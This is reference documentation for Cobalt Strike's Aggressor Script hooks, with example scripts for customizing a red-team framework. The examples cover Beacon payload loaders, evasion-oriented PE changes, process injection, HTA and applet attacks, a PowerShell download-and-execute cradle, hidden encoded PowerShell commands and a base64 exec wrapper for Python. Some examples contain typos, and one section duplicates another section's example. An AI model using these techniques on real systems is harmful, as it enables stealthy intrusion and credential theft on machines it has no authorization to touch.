Hooks

Hooks allow Aggressor Script to intercept and change Cobalt Strike behavior.

APPLET_SHELLCODE_FORMAT

Format shellcode before it's placed on the HTML page generated to serve the Signed or Smart Applet Attacks. See User-driven Web Drive-by Attacks.

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).

Example

set APPLET_SHELLCODE_FORMAT {
   return base64_encode($1);
}

BEACON_RDLL_GENERATE

Hook to allow users to replace the Cobalt Strike reflective loader in a beacon with a User Defined Reflective Loader. The reflective loader can be extracted from a compiled object file and plugged into the Beacon Payload DLL. See User Defined Reflective DLL Loader.

Arguments

$1 - Beacon payload file name

$2 - Beacon payload (dll binary)

$3 - Beacon architecture (x86/x64)

Returns

The Beacon executable payload updated with the User Defined reflective loader. Return $null to use the default Beacon executable payload.

Example

sub generate_my_dll {
   local('$handle $data $loader $temp_dll');

   # ---------------------------------------------------------------------
   # Load an Object File that contains a Reflective Loader.
   # The architecture ($3) is used in the path.
   # ---------------------------------------------------------------------
   # $handle = openf("/mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");
   $handle = openf("mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");

   $data   = readb($handle, -1);
   closef($handle);

   # warn("Object File Length: " . strlen($data));

   if (strlen($data) eq 0) {
      warn("Error loading reflective loader object file.");
      return $null;
   }

   # ---------------------------------------------------------------------
   # extract loader from BOF.
   # ---------------------------------------------------------------------
   $loader = extract_reflective_loader($data);

   # warn("Reflective Loader Length: " . strlen($loader));

   if (strlen($loader) eq 0) {
      warn("Error extracting reflective loader.");
      return $null;
   }

   # ---------------------------------------------------------------------
   # Replace the beacons default reflective loader with '$loader'.
   # ---------------------------------------------------------------------
   $temp_dll = setup_reflective_loader($2, $loader);

   # ---------------------------------------------------------------------
   # TODO: Additional Customization of the PE...
   # - Use 'pedump' function to get information for the updated DLL.
   # - Use these convenience functions to perform transformations on the DLL:
   #       pe_remove_rich_header
   #       pe_insert_rich_header
   #       pe_set_compile_time_with_long
   #       pe_set_compile_time_with_string
   #       pe_set_export_name
   #       pe_update_checksum
   # - Use these basic functions to perform transformations on the DLL:
   #       pe_mask
   #       pe_mask_section
   #       pe_mask_string
   #       pe_patch_code
   #       pe_set_string
   #       pe_set_stringz
   #       pe_set_long
   #       pe_set_short
   #       pe_set_value_at
   #       pe_stomp
   # ---------------------------------------------------------------------

   # ---------------------------------------------------------------------
   # Give back the updated beacon DLL.
   # ---------------------------------------------------------------------
   return $temp_dll;
}

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# ------------------------------------
set BEACON_RDLL_GENERATE {
   warn("Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3);
   return generate_my_dll($1, $2, $3);
}

BEACON_RDLL_GENERATE_LOCAL

The BEACON_RDLL_GENERATE_LOCAL hook is very similar to BEACON_RDLL_GENERATE with additional arguments.

Arguments

$1 - Beacon payload file name

$2 - Beacon payload (dll binary)

$3 - Beacon architecture (x86/x64)

$4 - Parent beacon ID

$5 - GetModuleHandleA pointer

$6 - GetProcAddress pointer

Example

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandleA pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set BEACON_RDLL_GENERATE_LOCAL {
   warn("Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . 
   $1 ." with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA "
   $5 . " GetProcAddress " . $6);
   return generate_my_dll($1, $2, $3);
}   

Also See

BEACON_RDLL_GENERATE

BEACON_RDLL_SIZE

The BEACON_RDLL_SIZE hook allows the use of beacons with more space reserved for User Defined Reflective loaders. The alternate beacons are used in the BEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL hooks. The original/default space reserved for reflective loaders is 5KB. The hook also allows the entire reflective loader space to be removed.

Overriding this setting will generate beacons that are too large for the placeholders in standard artifacts. It is very likely to require customized changes in an artifact kit to expand reserved payload space. See the documentation in the artifact kit provided by Cobalt Strike.

Customized "stagesize" settings are documented in "build.sh" and "script.example". See User Defined Reflective DLL Loader.

Arguments

$1 - Beacon payload file name

$2 - Beacon architecture (x86/x64)

Returns

The size in KB for the Reflective Loader reserved space in beacons. Valid values are "0", "5", "100".

"0" uses beacons without the reserved spaces for reflective loaders.

"5" is the default and uses standard beacons with 5KB reserved space for reflective loaders.

"100" uses larger beacons with 100KB reserved space for reflective loaders.

Example

# ------------------------------------
# $1 = DLL file name
# $2 = arch
# ------------------------------------
set BEACON_RDLL_SIZE {
   warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " . $2);
   return "100";
}

BEACON_SLEEP_MASK

Update a Beacon payload with a User Defined Sleep Mask

Arguments

$1 - beacon type (default, pivot)

$2 - arch

Sleep Mask Kit

This hook is demonstrated in the The Sleep Mask Kit.

EXECUTABLE_ARTIFACT_GENERATOR

Control the EXE and DLL generation for Cobalt Strike.

Arguments

$1 - the artifact file (e.g., artifact32.exe)

$2 - shellcode to embed into an EXE or DLL

Artifact Kit

This hook is demonstrated in the The Artifact Kit.

HTMLAPP_EXE

Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.

Arguments

$1 - the EXE data

$2 - the name of the .exe

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set HTMLAPP_EXE {
   local('$handle $data');
   $handle = openf(script_resource("template.exe.hta"));
   $data   = readb($handle, -1);
   osef($handle);

   $data   = strrep($data, '##EXE##', transform($1, "hex"));
   $data   = strrep($data, '##NAME##', $2);

   return $data;
}

HTMLAPP_POWERSHELL

Controls the content of the HTML Application User-driven (PowerShell Output) generated by Cobalt Strike.

Arguments

$1 - the PowerShell command to run

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set HTMLAPP_POWERSHELL {
   local('$handle $data');
   $handle = openf(script_resource("template.psh.hta"));
   $data   = readb($handle, -1);
   closef($handle);
   
   # push our command into the script
   return strrep($data, "%%DATA%%", $1);
}

LISTENER_MAX_RETRY_STRATEGIES

Return a string that contains the list of definitions which is separated with a '\n' character. The definition needs to match a syntax of exit-[max_attempts]-[increase_attempts]-[duration][m,h,d].

For example exit-10-5-5m will exit beacon after 10 failed attempts and will increase sleep time after five failed attempts to 5 minutes. The sleep time will not be updated if the current sleep time is greater than the specified duration value. The sleep time will be affected by the current jitter value. On a successful connection the failed attempts count will be reset to zero and the sleep time will be reset to the prior value.

Return $null to use the default list.

Example

# Use a hard coded list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
   local('$out');
   $out .= "exit-50-25-5m\n";
   $out .= "exit-100-25-5m\n";
   $out .= "exit-50-25-15m\n";
   $out .= "exit-100-25-15m\n";
 
   return $out;
}  

 

# Use loops to build a list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
local('$out');

@attempts = @(50, 100);
@durations = @("5m", "15m");
$increase = 25;

foreach $attempt (@attempts)
{
foreach $duration (@durations)
{
$out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
}
}

return $out;
}

 

POSTEX_RDLL_GENERATE

Hook to allow users to replace the Cobalt Strike reflective loader for post-ex with a User Defined Reflective Loader. See Post-ex User Defined Reflective DLL Loader.

The Post-ex DLL passed as argument 2 does not contain any reflective loader. You do not need to remove an existing reflective loader from the DLL.

Arguments

$1 – Post-ex payload file name

$2 – Post-ex payload (dll binary)

$3 – Post-ex architecture (x86/x64)

$4 – parent Beacon ID

$5 – GetModuleHandle pointer

$6 – GetProcAddress pointer

Returns

The Post-ex payload updated with the User Defined reflective loader. Return $null to use the default Post-ex payload and loader.

Example

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
local('$arch $ postex $file_handle $ldr $loader_path $payload');
$postex = $2;
$arch = $3;
warn("Running 'POSTEX_RDLL_GENERATE' for DLL " .
$1 ." with architecture " . $3 . " Beacon ID " . $4 . " . GetModuleHandleA “ .
$5 . " GetProcAddress " . $6);
# Read the UDRL from the supplied binary file
$loader_path = "mystuff/Refloaders/bin/MyPostExReflectiveLoader. $+ $arch $+ .o";
$file_handle = openf($loader_path);
$ldr = readb($file_handle, -1);
closef($file_handle);
if (strlen($ldr) == 0) {
warn("Error: Failed to read $loader_path");
return $null;
}
# Prepend UDRL (sRDI/Double Pulsar type) to Post-ex DLL and output the modified payload.
$payload = $ldr . $postex;
print_info("Payload Size: " . strlen($payload));
return $payload;
}

POWERSHELL_COMMAND

Change the form of the powershell comamnd run by Cobalt Strike's automation. This affects jump psexec_psh, powershell, and [host] -> Access -> One-liner.

Arguments

$1 - the PowerShell command to run.

$2 - true|false the command is run on a remote target.

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set POWERSHELL_COMMAND {
   local('$script');
   $script = transform($1, "powershell-base64");
   
   # remote command (e.g., jump psexec_psh)
   if ($2) {
      return "powershell -nop -w hidden -encodedcommand $script";
   }
   # local command
   else {
      return "powershell -nop -exec bypass -EncodedCommand $script";
   }
}

POWERSHELL_COMPRESS

A hook used by the resource kit to compress a PowerShell script. The default uses gzip and returns a deflator script.

Resource Kit

This hook is demonstrated in the The Resource Kit.

Arguments

$1 - the script to compress

POWERSHELL_DOWNLOAD_CRADLE

Change the form of the PowerShell download cradle used in Cobalt Strike's post-ex automation. This includes jump winrm|winrm64, [host] -> Access -> One Liner, and powershell-import.

Arguments

$1 - the URL of the (localhost) resource to reach

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set POWERSHELL_DOWNLOAD_CRADLE {
   return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
}

PROCESS_INJECT_EXPLICIT

Hook to allow users to define how the explicit process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).

Arguments

$1- Beacon ID

$2- memory injectable dll (position-independent code)

$3- the PID to inject into

$4- offset to jump to

$5- x86/x64 - memory injectable DLL arch

6$ - argument buffer

Returns

Return a non empty value when defining your own explicit process injection technique.

Return $null to use the default explicit process injection technique.

Post Exploitation Jobs

The following post exploitation commands support the PROCESS_INJECT_EXPLICIT hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.

Additional Information
  • The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List. There is also a multi version of this interface which is accessed by selecting multiple sessions and using the same UI menu. When in the Process Browser use the buttons to perform additional commands on the selected process.
  • The chromedump, dcsync, hashdump, keylogger, logonpasswords, mimikatz, net, portscan, printscreen, pth, screenshot, screenwatch, ssh, and ssh-key commands also have a fork&run version. To use the explicit version requires the pid and architecture arguments.
  • For the net and &bnet command the ‘domain’ command will not use the hook.

Job Types

 

Command Aggressor Script UI
browserpivot &bbrowserpivot [beacon] -> Explore -> Browser Pivot
chromedump    
dcsync &bdcsync  
dllinject &bdllinject  
hashdump &bhashdump  
inject &binject [Process Browser] -> Inject
keylogger &bkeylogger [Process Browser] -> Log Keystrokes
logonpasswords &blogonpasswords  
mimikatz &bmimikatz  
&bmimikatz_small  
net &bnet  
portscan &bportscan  
postex kit beacon_execute_postex_job()  
printscreen &bprintscreen  
psinject &bpsinject  
pth &bpassthehash  
screenshot &bscreenshot [Process Browser] -> Screenshot (Yes)
screenwatch &bscreenwatch [Process Browser] -> Screenshot (No)
shinject &bshinject  
ssh &bssh  
ssh-key &bssh_key  

 

Example

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);

   btask($1, "Process Inject using explicit injection into pid $3");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

PROCESS_INJECT_SPAWN

Hook to allow users to define how the fork and run process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).

Arguments

$1 - Beacon ID

$2 - memory injectable dll (position-independent code)

$3 - true/false ignore process token

$4 - x86/x64 - memory injectable DLL arch

5$ - argument buffer

Returns

Return a non empty value when defining your own fork and run process injection technique.

Return $null to use the default fork and run injection technique.

Post Exploitation Jobs

The following post exploitation commands support the PROCESS_INJECT_SPAWN hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.

Additional Information
  • The elevate, runasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick.
  • For the net and &bnet command the ‘domain’ command will not use the hook.
  • The ‘(use a hash)’ note means select a credential that references a hash.

Job Types

 

Command Aggressor Script UI
chromedump  
dcsync &bdcsync  
elevate &belevate [beacon] -> Access -> Elevate
[beacon] -> Access -> Golden Ticket
hashdump &bhashdump [beacon] -> Access -> Dump Hashes
keylogger &bkeylogger  
logonpasswords &blogonpasswords [beacon] -> Access -> Run Mimikatz
[beacon] -> Access -> Make Token (use a hash)
mimikatz &bmimikatz  
&bmimikatz_small  
net &bnet [beacon] -> Explore -> Net View
portscan &bportscan [beacon] -> Explore -> Port Scan
postex_kit beacon_execute_postex_job()  
powerpick &bpowerpick  
printscreen &bprintscreen  
pth &bpassthehash  
runasadmin &brunasadmin  
[target] -> Scan
screenshot &bscreenshot [beacon] -> Explore -> Screenshot
screenwatch &bscreenwatch  
ssh &bssh [target] -> Jump -> ssh
ssh-key &bssh_key [target] -> Jump -> ssh-key
[target] -> Jump -> [exploit] (use a hash)

 

Example

# ------------------------------------
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
# ------------------------------------
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);
   btask($1, "Process Inject using fork and run");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

PSEXEC_SERVICE

Set the service name used by jump psexec|psexec64|psexec_psh and psexec.

Example

set PSEXEC_SERVICE {
   return "foobar";
}

PYTHON_COMPRESS

Compress a Python script generated by Cobalt Strike.

Arguments

$1 - the script to compress

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set PYTHON_COMPRESS {
   return "import base64; exec base64.b64decode(\"" . base64_encode($1) . "\")";
}

RESOURCE_GENERATOR

Control the format of the VBS template used in Cobalt Strike.

Resource Kit

This hook is demonstrated in the The Resource Kit.

Arguments

$1 - the shellcode to inject and run

RESOURCE_GENERATOR_VBS

Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.

Arguments

$1 - the EXE data

$2 - the name of the .exe

Resource Kit

This hook is demonstrated in the The Resource Kit.

Example

set HTMLAPP_EXE {
   local('$handle $data');
   $handle = openf(script_resource("template.exe.hta"));
   $data   = readb($handle, -1);
   closef($handle);

   $data   = strrep($data, '##EXE##', transform($1, "hex"));
   $data   = strrep($data, '##NAME##', $2);

   return $data;
}

SIGNED_APPLET_MAINCLASS

Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack.

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).

Example

set SIGNED_APPLET_MAINCLASS {
   return "Java.class";
}

SIGNED_APPLET_RESOURCE

Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack.

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).

Example

set SIGNED_APPLET_RESOURCE {
   return script_resource("dist/applet_signed.jar");
}

SMART_APPLET_MAINCLASS

Specify the MAIN class of the Java Smart Applet Attack. See Java Smart Applet Attack.

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).

Example

set SMART_APPLET_MAINCLASS {
   return "Java.class";
}

SMART_APPLET_RESOURCE

Specify a Java Applet file to use for the Java Smart Applet Attack. See Java Smart Applet Attack.

Applet Kit

This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).

Example

set SMART_APPLET_RESOURCE {
   return script_resource("dist/applet_rhino.jar");
}